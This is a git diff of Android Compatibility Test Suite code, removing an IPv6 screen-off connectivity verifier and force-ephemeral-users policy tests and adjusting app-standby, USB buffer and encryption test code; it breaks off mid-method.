-import android.os.Bundle;
-import android.os.PowerManager;
-import android.os.SystemClock;
-import android.util.Log;
-import android.view.View;
-import android.view.WindowManager.LayoutParams;
-import android.widget.Button;
-import android.widget.ScrollView;
-import android.widget.TextView;
-
-import java.io.BufferedReader;
-import java.io.InputStreamReader;
-import java.io.IOException;
-import java.lang.reflect.Field;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.net.HttpURLConnection;
-import java.net.UnknownHostException;
-import java.net.URL;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.Random;
-
-import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
-import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
-
-/**
- * A CTS Verifier test case for testing IPv6 network connectivity while the screen is off.
- *
- * This tests that Wi-Fi implementations are compliant with section 7.4.5
- * ("Minimum Network Capability") of the CDD. Specifically, it requires that: "unicast IPv6
- * packets sent to the device MUST NOT be dropped, even when the screen is not in an active
- * state."
- *
- * The verification is attempted as follows:
- *
- *     [1] The device must have Wi-Fi capability.
- *     [2] The device must join an IPv6-capable network (basic IPv6 connectivity to an
- *         Internet resource is tested).
- *     [3] If the device has a battery, the device must be disconnected from any power source.
- *     [4] The screen is put to sleep.
- *     [5] After two minutes, another IPv6 connectivity test is performed.
- */
-public class ConnectivityScreenOffTestActivity extends PassFailButtons.Activity {
-
-    private static final String TAG = ConnectivityScreenOffTestActivity.class.getSimpleName();
-    private static final String V6CONN_URL = "https://ipv6.google.com/generate_204";
-    private static final String V6ADDR_URL = "https://google-ipv6test.appspot.com/ip.js?fmt=text";
-
-    private static final long MIN_SCREEN_OFF_MS = 1000 * (30 + (long) new Random().nextInt(51));
-    private static final long MIN_POWER_DISCONNECT_MS = MIN_SCREEN_OFF_MS;
-
-    private final Object mLock;
-    private final AppState mState;
-    private BackgroundTestingThread mTestingThread;
-
-    private final ScreenAndPlugStateReceiver mReceiver;
-    private final IntentFilter mIntentFilter;
-    private boolean mWaitForPowerDisconnected;
-
-    private PowerManager mPowerManager;
-    private PowerManager.WakeLock mWakeLock;
-    private ConnectivityManager mCM;
-    private NetworkCallback mNetworkCallback;
-
-    private ScrollView mScrollView;
-    private TextView mTextView;
-    private long mUserActivityTimeout = -1;
-
-
-    public ConnectivityScreenOffTestActivity() {
-        mLock = new Object();
-        mState = new AppState();
-
-        mReceiver = new ScreenAndPlugStateReceiver();
-
-        mIntentFilter = new IntentFilter();
-        mIntentFilter.addAction(Intent.ACTION_SCREEN_ON);
-        mIntentFilter.addAction(Intent.ACTION_SCREEN_OFF);
-        mIntentFilter.addAction(Intent.ACTION_POWER_CONNECTED);
-        mIntentFilter.addAction(Intent.ACTION_POWER_DISCONNECTED);
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        configureFromSystemServices();
-        setupUserInterface();
-    }
-
-    @Override
-    protected void onDestroy() {
-        clearNetworkCallback();
-        stopAnyExistingTestingThread();
-        unregisterReceiver(mReceiver);
-        mWakeLock.release();
-        super.onDestroy();
-    }
-
-    private void setupUserInterface() {
-        setContentView(R.layout.network_screen_off);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-        setInfoResources(
-                R.string.network_screen_off_test,
-                R.string.network_screen_off_test_instructions,
-                -1);
-
-        mScrollView = (ScrollView) findViewById(R.id.scroll);
-        mTextView = (TextView) findViewById(R.id.text);
-        mTextView.setTypeface(Typeface.MONOSPACE);
-        mTextView.setTextSize(14.0f);
-
-        // Get the start button and attach the listener.
-        getStartButton().setOnClickListener(new View.OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                getStartButton().setEnabled(false);
-                startTest();
-            }
-        });
-    }
-
-    private void configureFromSystemServices() {
-        final Intent batteryInfo = registerReceiver(
-                null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
-
-        // Whether or not this device (currently) has a battery.
-        mWaitForPowerDisconnected =
-                batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, false) && !isLeanback();
-
-        // Check if the device is already on battery power.
-        if (mWaitForPowerDisconnected) {
-            BatteryManager battMgr = (BatteryManager) getSystemService(Context.BATTERY_SERVICE);
-            if (!battMgr.isCharging()) {
-                mState.setPowerDisconnected();
-            }
-        }
-
-        mPowerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
-        mWakeLock = mPowerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, TAG);
-        mWakeLock.acquire();
-
-        registerReceiver(mReceiver, mIntentFilter);
-
-        mCM = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
-    }
-
-    private void clearNetworkCallback() {
-        if (mNetworkCallback != null) {
-            mCM.unregisterNetworkCallback(mNetworkCallback);
-            mNetworkCallback = null;
-        }
-    }
-
-    private void stopAnyExistingTestingThread() {
-        synchronized (mLock) {
-            if (mTestingThread != null) {
-                // The testing thread will observe this and exit on its own (eventually).
-                mTestingThread.setStopped();
-            }
-        }
-    }
-
-    private void setTestPassing() {
-        logAndUpdate("Test PASSED!");
-        runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                getPassButton().setEnabled(true);
-            }
-        });
-    }
-
-    private void logAndUpdate(final String msg) {
-        Log.d(TAG, msg);
-        runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mTextView.append(msg);
-                mTextView.append("\n");
-                mScrollView.fullScroll(View.FOCUS_DOWN);  // Scroll to bottom
-            }
-        });
-    }
-
-    private Button getStartButton() {
-        return (Button) findViewById(R.id.start_btn);
-    }
-
-    private void setUserActivityTimeout(long timeout) {
-        final LayoutParams params = getWindow().getAttributes();
-
-        try {
-            final Field field = params.getClass().getField("userActivityTimeout");
-            // Save the original value.
-            if (mUserActivityTimeout < 0) {
-                mUserActivityTimeout = field.getLong(params);
-                Log.d(TAG, "saving userActivityTimeout: " + mUserActivityTimeout);
-            }
-            field.setLong(params, 1);
-        } catch (NoSuchFieldException e) {
-            Log.d(TAG, "No luck with userActivityTimeout: ", e);
-            return;
-        } catch (IllegalAccessException e) {
-            Log.d(TAG, "No luck with userActivityTimeout: ", e);
-            return;
-        }
-
-        getWindow().setAttributes(params);
-    }
-
-    private void tryScreenOff() {
-        runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                setUserActivityTimeout(1);
-            }
-        });
-    }
-
-    private void tryScreenOn() {
-        runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                PowerManager.WakeLock screenOnLock = mPowerManager.newWakeLock(
-                        PowerManager.FULL_WAKE_LOCK
-                        | PowerManager.ACQUIRE_CAUSES_WAKEUP
-                        | PowerManager.ON_AFTER_RELEASE, TAG + ":screenOn");
-                screenOnLock.acquire();
-                setUserActivityTimeout((mUserActivityTimeout > 0)
-                        ? mUserActivityTimeout
-                        : 30);  // No good value to restore, use 30 seconds.
-                screenOnLock.release();
-            }
-        });
-    }
-
-    private void startTest() {
-        clearNetworkCallback();
-        stopAnyExistingTestingThread();
-        mTextView.setText("");
-        logAndUpdate("Starting test...");
-
-        mCM.registerNetworkCallback(
-                new NetworkRequest.Builder()
-                        .addTransportType(TRANSPORT_WIFI)
-                        .addCapability(NET_CAPABILITY_INTERNET)
-                        .build(),
-                createNetworkCallback());
-
-        new BackgroundTestingThread().start();
-    }
-
-    /**
-     * TODO(ek): Evaluate reworking the code roughly as follows:
-     *     - Move all the shared state here, including mWaitForPowerDisconnected
-     *       (and mTestingThread).
-     *     - Move from synchronizing on mLock to synchronizing on this since the
-     *       AppState object is final, and delete mLock.
-     *     - Synchronize the methods below, and add some required new methods.
-     *     - Remove copying entire state into the BackgroundTestingThread.
-     */
-    class AppState {
-        Network mNetwork;
-        LinkProperties mLinkProperties;
-        long mScreenOffTime;
-        long mPowerDisconnectTime;
-        boolean mPassedInitialIPv6Check;
-
-        void setNetwork(Network network) {
-            mNetwork = network;
-            mLinkProperties = null;
-            mPassedInitialIPv6Check = false;
-        }
-
-        void setScreenOn() { mScreenOffTime = 0; }
-        void setScreenOff() { mScreenOffTime = SystemClock.elapsedRealtime(); }
-        boolean validScreenStateForTesting() { return (mScreenOffTime > 0); }
-
-        void setPowerConnected() { mPowerDisconnectTime = 0; }
-        void setPowerDisconnected() { mPowerDisconnectTime = SystemClock.elapsedRealtime(); }
-        boolean validPowerStateForTesting() {
-            return !mWaitForPowerDisconnected || (mPowerDisconnectTime > 0);
-        }
-    }
-
-    class ScreenAndPlugStateReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            if (Intent.ACTION_SCREEN_ON.equals(action)) {
-                Log.d(TAG, "got ACTION_SCREEN_ON");
-                synchronized (mLock) {
-                    mState.setScreenOn();
-                    mLock.notify();
-                }
-            } else if (Intent.ACTION_SCREEN_OFF.equals(action)) {
-                Log.d(TAG, "got ACTION_SCREEN_OFF");
-                synchronized (mLock) {
-                    mState.setScreenOff();
-                    mLock.notify();
-                }
-            } else if (Intent.ACTION_POWER_CONNECTED.equals(action)) {
-                Log.d(TAG, "got ACTION_POWER_CONNECTED");
-                synchronized (mLock) {
-                    mState.setPowerConnected();
-                    mLock.notify();
-                }
-            } else if (Intent.ACTION_POWER_DISCONNECTED.equals(action)) {
-                Log.d(TAG, "got ACTION_POWER_DISCONNECTED");
-                synchronized (mLock) {
-                    mState.setPowerDisconnected();
-                    mLock.notify();
-                }
-            }
-        }
-    }
-
-    private NetworkCallback createNetworkCallback() {
-        return new NetworkCallback() {
-            @Override
-            public void onAvailable(Network network) {
-                synchronized (mLock) {
-                    mState.setNetwork(network);
-                    mLock.notify();
-                }
-            }
-
-            @Override
-            public void onLost(Network network) {
-                synchronized (mLock) {
-                    if (network.equals(mState.mNetwork)) {
-                        mState.setNetwork(null);
-                        mLock.notify();
-                    }
-                }
-            }
-
-            @Override
-            public void onLinkPropertiesChanged(Network network, LinkProperties newLp) {
-                synchronized (mLock) {
-                    if (network.equals(mState.mNetwork)) {
-                        mState.mLinkProperties = newLp;
-                        mLock.notify();
-                    }
-                }
-            }
-        };
-    }
-
-    private class BackgroundTestingThread extends Thread {
-        final int POLLING_INTERVAL_MS = 5000;
-        final int CONNECTIVITY_CHECKING_INTERVAL_MS = 1000 + 100 * (new Random().nextInt(20));
-        final int MAX_CONNECTIVITY_CHECKS = 3;
-        final AppState localState = new AppState();
-        final AtomicBoolean isRunning = new AtomicBoolean(false);
-        int numConnectivityChecks = 0;
-        int numConnectivityChecksPassing = 0;
-
-        @Override
-        public void run() {
-            Log.d(TAG, getId() + " started");
-
-            maybeWaitForPreviousThread();
-
-            try {
-                mainLoop();
-            } finally {
-                runOnUiThread(new Runnable() {
-                    @Override
-                    public void run() {
-                        getStartButton().setEnabled(true);
-                    }
-                });
-                tryScreenOn();
-            }
-
-            synchronized (mLock) { mTestingThread = null; }
-
-            Log.d(TAG, getId() + " exiting");
-        }
-
-        private void mainLoop() {
-            int nextSleepDurationMs = 0;
-
-            while (stillRunning()) {
-                awaitNotification(nextSleepDurationMs);
-                if (!stillRunning()) { break; }
-                nextSleepDurationMs = POLLING_INTERVAL_MS;
-
-                if (localState.mNetwork == null) {
-                    logAndUpdate("waiting for available network");
-                    continue;
-                }
-
-                if (localState.mLinkProperties == null) {
-                    synchronized (mLock) {
-                        mState.mLinkProperties = mCM.getLinkProperties(mState.mNetwork);
-                        dupStateLocked();
-                    }
-                }
-
-                if (!localState.mPassedInitialIPv6Check) {
-                    if (!hasBasicIPv6Connectivity()) {
-                        logAndUpdate("waiting for basic IPv6 connectivity");
-                        continue;
-                    }
-                    synchronized (mLock) {
-                        mState.mPassedInitialIPv6Check = true;
-                    }
-                }
-
-                if (!localState.validPowerStateForTesting()) {
-                    resetConnectivityCheckStatistics();
-                    logAndUpdate("waiting for ACTION_POWER_DISCONNECTED");
-                    continue;
-                }
-
-                if (!localState.validScreenStateForTesting()) {
-                    resetConnectivityCheckStatistics();
-                    tryScreenOff();
-                    logAndUpdate("waiting for ACTION_SCREEN_OFF");
-                    continue;
-                }
-
-                if (mWaitForPowerDisconnected) {
-                    final long delta = SystemClock.elapsedRealtime() - localState.mPowerDisconnectTime;
-                    if (delta < MIN_POWER_DISCONNECT_MS) {
-                        nextSleepDurationMs = (int) (MIN_POWER_DISCONNECT_MS - delta);
-                        // Not a lot of point in going to sleep for fewer than 500ms.
-                        if (nextSleepDurationMs > 500) {
-                            Log.d(TAG, "waiting for power to be disconnected for at least "
-                                    + MIN_POWER_DISCONNECT_MS + "ms, "
-                                    + nextSleepDurationMs + "ms left.");
-                            continue;
-                        }
-                    }
-                }
-
-                final long delta = SystemClock.elapsedRealtime() - localState.mScreenOffTime;
-                if (delta < MIN_SCREEN_OFF_MS) {
-                    nextSleepDurationMs = (int) (MIN_SCREEN_OFF_MS - delta);
-                    // Not a lot of point in going to sleep for fewer than 500ms.
-                    if (nextSleepDurationMs > 500) {
-                        Log.d(TAG, "waiting for screen to be off for at least "
-                                + MIN_SCREEN_OFF_MS + "ms, "
-                                + nextSleepDurationMs + "ms left.");
-                        continue;
-                    }
-                }
-
-                numConnectivityChecksPassing += hasGlobalIPv6Connectivity() ? 1 : 0;
-                numConnectivityChecks++;
-                if (numConnectivityChecks >= MAX_CONNECTIVITY_CHECKS) {
-                    break;
-                }
-                nextSleepDurationMs = CONNECTIVITY_CHECKING_INTERVAL_MS;
-            }
-
-            if (!stillRunning()) { return; }
-
-            // We require that 100% of IPv6 HTTPS queries succeed.
-            if (numConnectivityChecksPassing == MAX_CONNECTIVITY_CHECKS) {
-                setTestPassing();
-            } else {
-                logAndUpdate("Test FAILED with score: "
-                        + numConnectivityChecksPassing + "/" + MAX_CONNECTIVITY_CHECKS);
-            }
-        }
-
-        private boolean stillRunning() {
-            return isRunning.get();
-        }
-
-        public void setStopped() {
-            isRunning.set(false);
-        }
-
-        private void maybeWaitForPreviousThread() {
-            BackgroundTestingThread previousThread;
-            synchronized (mLock) {
-                previousThread = mTestingThread;
-            }
-
-            if (previousThread != null) {
-                previousThread.setStopped();
-                try {
-                    previousThread.join();
-                } catch (InterruptedException ignored) {}
-            }
-
-            synchronized (mLock) {
-                if (mTestingThread == null || mTestingThread == previousThread) {
-                    mTestingThread = this;
-                    isRunning.set(true);
-                }
-            }
-        }
-
-        private void dupStateLocked() {
-            localState.mNetwork = mState.mNetwork;
-            localState.mLinkProperties = mState.mLinkProperties;
-            localState.mScreenOffTime = mState.mScreenOffTime;
-            localState.mPowerDisconnectTime = mState.mPowerDisconnectTime;
-            localState.mPassedInitialIPv6Check = mState.mPassedInitialIPv6Check;
-        }
-
-        private void awaitNotification(int timeoutMs) {
-            synchronized (mLock) {
-                if (timeoutMs > 0) {
-                    try {
-                        mLock.wait(timeoutMs);
-                    } catch (InterruptedException e) {}
-                }
-                dupStateLocked();
-            }
-        }
-
-        private void resetConnectivityCheckStatistics() {
-            numConnectivityChecks = 0;
-            numConnectivityChecksPassing = 0;
-        }
-
-        boolean hasBasicIPv6Connectivity() {
-            final HttpResult result = getHttpResource(localState.mNetwork, V6CONN_URL, true);
-            if (result.rcode != 204) {
-                if (result.msg != null && !result.msg.isEmpty()) {
-                    logAndUpdate(result.msg);
-                }
-                return false;
-            }
-            return true;
-        }
-
-        boolean hasGlobalIPv6Connectivity() {
-            final boolean doClose = ((numConnectivityChecks % 2) == 0);
-            final HttpResult result = getHttpResource(localState.mNetwork, V6ADDR_URL, doClose);
-            if (result.rcode != 200) {
-                if (result.msg != null && !result.msg.isEmpty()) {
-                    logAndUpdate(result.msg);
-                }
-                return false;
-            }
-
-            InetAddress reflectedIp;
-            try {
-                // TODO: replace with Os.inet_pton().
-                reflectedIp = InetAddress.getByName(result.msg);
-            } catch (UnknownHostException e) {
-                logAndUpdate("Failed to parse '" + result.msg + "' as an IP address");
-                return false;
-            }
-            if (!(reflectedIp instanceof Inet6Address)) {
-                logAndUpdate(reflectedIp.getHostAddress() + " is not a valid IPv6 address");
-                return false;
-            }
-
-            for (LinkAddress linkAddr : localState.mLinkProperties.getLinkAddresses()) {
-                if (linkAddr.getAddress().equals(reflectedIp)) {
-                    logAndUpdate("Found reflected IP " + linkAddr.getAddress().getHostAddress());
-                    return true;
-                }
-            }
-
-            logAndUpdate("Link IP addresses do not include: " + reflectedIp.getHostAddress());
-            return false;
-        }
-    }
-
-    private static class HttpResult {
-        public final int rcode;
-        public final String msg;
-
-        public HttpResult(int rcode, String msg) {
-            this.rcode = rcode;
-            this.msg = msg;
-        }
-    }
-
-    private static HttpResult getHttpResource(
-            final Network network, final String url, boolean doClose) {
-        int rcode = -1;
-        String msg = null;
-
-        try {
-            final HttpURLConnection conn =
-                    (HttpURLConnection) network.openConnection(new URL(url));
-            conn.setConnectTimeout(10 * 1000);
-            conn.setReadTimeout(10 * 1000);
-            if (doClose) { conn.setRequestProperty("connection", "close"); }
-            rcode = conn.getResponseCode();
-            if (rcode >= 200 && rcode <= 299) {
-                msg = new BufferedReader(new InputStreamReader(conn.getInputStream())).readLine();
-            }
-            if (doClose) { conn.disconnect(); }  // try not to have reusable sessions
-        } catch (IOException e) {
-            msg = "HTTP GET of '" + url + "' encountered " + e;
-        }
-
-        return new HttpResult(rcode, msg);
-    }
-
-    private boolean isLeanback() {
-        final PackageManager pm = this.getPackageManager();
-        return (pm != null && pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
-    }
-}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index 71495a0..f4542db 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java

@@ -72,7 +72,7 @@
             "com.android.cts.verifier.usb.device.USB_PERMISSION";
     private static final String LOG_TAG = UsbDeviceTestActivity.class.getSimpleName();
     private static final int TIMEOUT_MILLIS = 5000;
-    private static final int LARGE_BUFFER_SIZE = 1305049;
+    private static final int LARGE_BUFFER_SIZE = 124619;
 
     private UsbManager mUsbManager;
     private BroadcastReceiver mUsbDeviceConnectionReceiver;

diff --git a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/DeviceTestCompanion.java b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/DeviceTestCompanion.java
index 0471fc0..b3e6166 100644
--- a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/DeviceTestCompanion.java
+++ b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/DeviceTestCompanion.java

@@ -35,7 +35,7 @@
  * Companion code for com.android.cts.verifier.usb.device.UsbDeviceTestActivity
  */
 class DeviceTestCompanion extends TestCompanion {
-    private static final int LARGE_BUFFER_SIZE = 1305049;
+    private static final int LARGE_BUFFER_SIZE = 124619;
 
     DeviceTestCompanion(@NonNull Context context, @NonNull TestObserver observer) {
         super(context, observer);

diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/AppStandbyDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/AppStandbyDeviceInfo.java
index 9481407..1e6c8b6 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/AppStandbyDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/AppStandbyDeviceInfo.java

@@ -15,6 +15,7 @@
  */
 package com.android.compatibility.common.deviceinfo;
 
+import com.android.compatibility.common.util.AppStandbyUtils;
 import com.android.compatibility.common.util.DeviceInfoStore;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -23,16 +24,9 @@
  */
 public final class AppStandbyDeviceInfo extends DeviceInfo {
     private static final String KEY_APP_STANDBY_ENABLED = "app_standby_enabled";
-    private static final String CMD_IS_APP_STANDBY_ENABLED =
-            "dumpsys usagestats is-app-standby-enabled";
 
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
-        store.addResult(KEY_APP_STANDBY_ENABLED, getAppStandbyEnabled());
-    }
-
-    private boolean getAppStandbyEnabled() {
-        final String result = SystemUtil.runShellCommand(CMD_IS_APP_STANDBY_ENABLED).trim();
-        return Boolean.parseBoolean(result);
+        store.addResult(KEY_APP_STANDBY_ENABLED, AppStandbyUtils.isAppStandbyEnabled());
     }
 }

diff --git a/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
index 87f5e68..a1adc02 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java

@@ -24,24 +24,15 @@
 public class AppStandbyUtils {
     private static final String TAG = "CtsAppStandbyUtils";
 
-    private static final Pattern APP_IDLE_ENABLED_PATTERN =
-            Pattern.compile("\\bmAppIdleEnabled=(true|false)\\b");
-
     /**
      * Returns if app standby is enabled.
      *
      * @return true if enabled; or false if disabled.
      */
     public static boolean isAppStandbyEnabled() {
-        final Matcher matcher = APP_IDLE_ENABLED_PATTERN.matcher(
-                SystemUtil.runShellCommand("dumpsys usagestats"));
-        if (!matcher.find()) {
-            throw new IllegalStateException("Couldn't find mAppIdleEnabled in usagestats dump.");
-        }
-        boolean enabled = Boolean.valueOf(matcher.group(1));
-
-        Log.d(TAG, "AppStandby is " + (enabled ? "enabled" : "disabled"));
-        return enabled;
+        final String result = SystemUtil.runShellCommand(
+                "dumpsys usagestats is-app-standby-enabled").trim();
+        return Boolean.parseBoolean(result);
     }
 
     /**

diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index af75334..1d0f83e 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java

@@ -173,6 +173,9 @@
         mDevice.pressMenu();
         mDevice.waitForIdle();
         enterTestPin();
+        mDevice.waitForIdle();
+        mDevice.pressHome();
+        mDevice.waitForIdle();
     }
 
     public void assertLocked() throws Exception {

diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ForceEphemeralUsersTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ForceEphemeralUsersTest.java
deleted file mode 100644
index e8ece3a..0000000
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ForceEphemeralUsersTest.java
+++ /dev/null

@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.deviceowner;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-
-import java.lang.reflect.Method;
-
-/**
- * Test {@link DevicePolicyManager#getForceEphemeralUser} and
- * {@link DevicePolicyManager#setForceEphemeralUser}.
- *
- * <p>The test toggles force-ephemeral-user policy on and leaves it that way which enables
- * combining it with additional host-side tests.
- */
-public class ForceEphemeralUsersTest extends BaseDeviceOwnerTest {
-
-    /**
-     * Test setting and subsequently getting the force-ephemeral-user policy.
-     */
-    public void testSetForceEphemeralUsers() throws Exception {
-        Method setForceEphemeralUsersMethod = DevicePolicyManager.class.getDeclaredMethod(
-                "setForceEphemeralUsers", ComponentName.class, boolean.class);
-        setForceEphemeralUsersMethod.invoke(mDevicePolicyManager, getWho(), true);
-
-        Method getForceEphemeralUsersMethod = DevicePolicyManager.class.getDeclaredMethod(
-                "getForceEphemeralUsers", ComponentName.class);
-        assertTrue((boolean) getForceEphemeralUsersMethod.invoke(mDevicePolicyManager, getWho()));
-    }
-
-    /**
-     * Setting force-ephemeral-user policy should fail if not on system with split system user.
-     *
-     * <p>To be run on systems without split system user.
-     */
-    public void testSetForceEphemeralUsersFails() {
-        try {
-            mDevicePolicyManager.setForceEphemeralUsers(getWho(), true);
-        } catch (UnsupportedOperationException e) {
-            // Test passed, the exception was thrown as expected.
-            return;
-        }
-        fail("UnsupportedOperationException should have been thrown by setForceEphemeralUsers");
-    }
-
-}

diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 11a54d3..212cb01 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml

@@ -89,6 +89,11 @@
                 <category android:name="android.intent.category.DEFAULT"/>
                 <action android:name="com.android.cts.managedprofile.ACTION_TEST_PRIMARY_ACTIVITY" />
             </intent-filter>
+            <!-- Catch ACTION_PICK in case there is no other app handing it -->
+            <intent-filter>
+                <action android:name="android.intent.action.PICK" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
         </activity>
         <activity android:name=".AllUsersActivity">
             <intent-filter>

diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 4b68e3a..12a1002 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java

@@ -67,15 +67,6 @@
     /** CreateAndManageUser is available and an additional user can be created. */
     private boolean mHasCreateAndManageUserFeature;
 
-    /** Forcing ephemeral users is implemented and supported on the device. */
-    private boolean mHasForceEphemeralUserFeature;
-
-    /**
-     * Force ephemeral users feature is implemented, but unsupported on the device (because of
-     * missing split system user).
-     */
-    private boolean mHasDisabledForceEphemeralUserFeature;
-
     /**
      * Whether Setup Wizard is disabled.
      */
@@ -95,10 +86,6 @@
         }
         mHasCreateAndManageUserFeature = mHasFeature && canCreateAdditionalUsers(1)
                 && hasDeviceFeature("android.software.managed_users");
-        mHasForceEphemeralUserFeature = mHasCreateAndManageUserFeature
-                && hasUserSplit();
-        mHasDisabledForceEphemeralUserFeature = mHasCreateAndManageUserFeature
-                && !hasUserSplit();
         mSetupWizardDisabled = NO_SETUP_WIZARD_PROVISIONING_MODE.contains(
                 getDevice().getProperty("ro.setupwizard.mode"));
     }
@@ -144,100 +131,6 @@
         }
     }
 
-    /** Tries to toggle the force-ephemeral-users on and checks it was really set. */
-    public void testSetForceEphemeralUsers() throws Exception {
-        if (!mHasForceEphemeralUserFeature) {
-            return;
-        }
-        // Set force-ephemeral-users policy and verify it was set.
-        executeDeviceTestMethod(".ForceEphemeralUsersTest", "testSetForceEphemeralUsers");
-    }
-
-    /**
-     * Setting force-ephemeral-users policy to true without a split system user should fail.
-     */
-    public void testSetForceEphemeralUsersFailsWithoutSplitSystemUser() throws Exception {
-        if (mHasDisabledForceEphemeralUserFeature) {
-            executeDeviceTestMethod(".ForceEphemeralUsersTest", "testSetForceEphemeralUsersFails");
-        }
-    }
-
-    /**
-     * All users (except of the system user) must be removed after toggling the
-     * force-ephemeral-users policy to true.
-     *
-     * <p>If the current user is the system user, the other users are removed straight away.
-     */
-    public void testRemoveUsersOnSetForceEphemeralUsers() throws Exception {
-        if (!mHasForceEphemeralUserFeature) {
-            return;
-        }
-
-        // Create a user.
-        int userId = createUser();
-        assertTrue("User must have been created", listUsers().contains(userId));
-
-        // Set force-ephemeral-users policy and verify it was set.
-        executeDeviceTestMethod(".ForceEphemeralUsersTest", "testSetForceEphemeralUsers");
-
-        // Users have to be removed when force-ephemeral-users is toggled on.
-        assertFalse("User must have been removed", listUsers().contains(userId));
-    }
-
-    /**
-     * All users (except of the system user) must be removed after toggling the
-     * force-ephemeral-users policy to true.
-     *
-     * <p>If the current user is not the system user, switching to the system user should happen
-     * before all other users are removed.
-     */
-    public void testRemoveUsersOnSetForceEphemeralUsersWithUserSwitch() throws Exception {
-        if (!mHasForceEphemeralUserFeature) {
-            return;
-        }
-
-        // Create a user.
-        int userId = createUser();
-        assertTrue("User must have been created", listUsers().contains(userId));
-
-        // Switch to the new (non-system) user.
-        switchUser(userId);
-
-        // Set force-ephemeral-users policy and verify it was set.
-        executeDeviceTestMethod(".ForceEphemeralUsersTest", "testSetForceEphemeralUsers");
-
-        // Make sure the user has been removed. As it is not a synchronous operation - switching to
-        // the system user must happen first - give the system a little bit of time for finishing
-        // it.
-        final int sleepMs = 500;
-        final int maxSleepMs = 10000;
-        for (int totalSleptMs = 0; totalSleptMs < maxSleepMs; totalSleptMs += sleepMs) {
-            // Wait a little while for the user's removal.
-            Thread.sleep(sleepMs);
-
-            if (!listUsers().contains(userId)) {
-                // Success - the user has been removed.
-                return;
-            }
-        }
-
-        // The user hasn't been removed within the given time.
-        fail("User must have been removed");
-    }
-
-    /** The users created after setting force-ephemeral-users policy to true must be ephemeral. */
-    public void testCreateUserAfterSetForceEphemeralUsers() throws Exception {
-        if (!mHasForceEphemeralUserFeature) {
-            return;
-        }
-
-        // Set force-ephemeral-users policy and verify it was set.
-        executeDeviceTestMethod(".ForceEphemeralUsersTest", "testSetForceEphemeralUsers");
-
-        int userId = createUser();
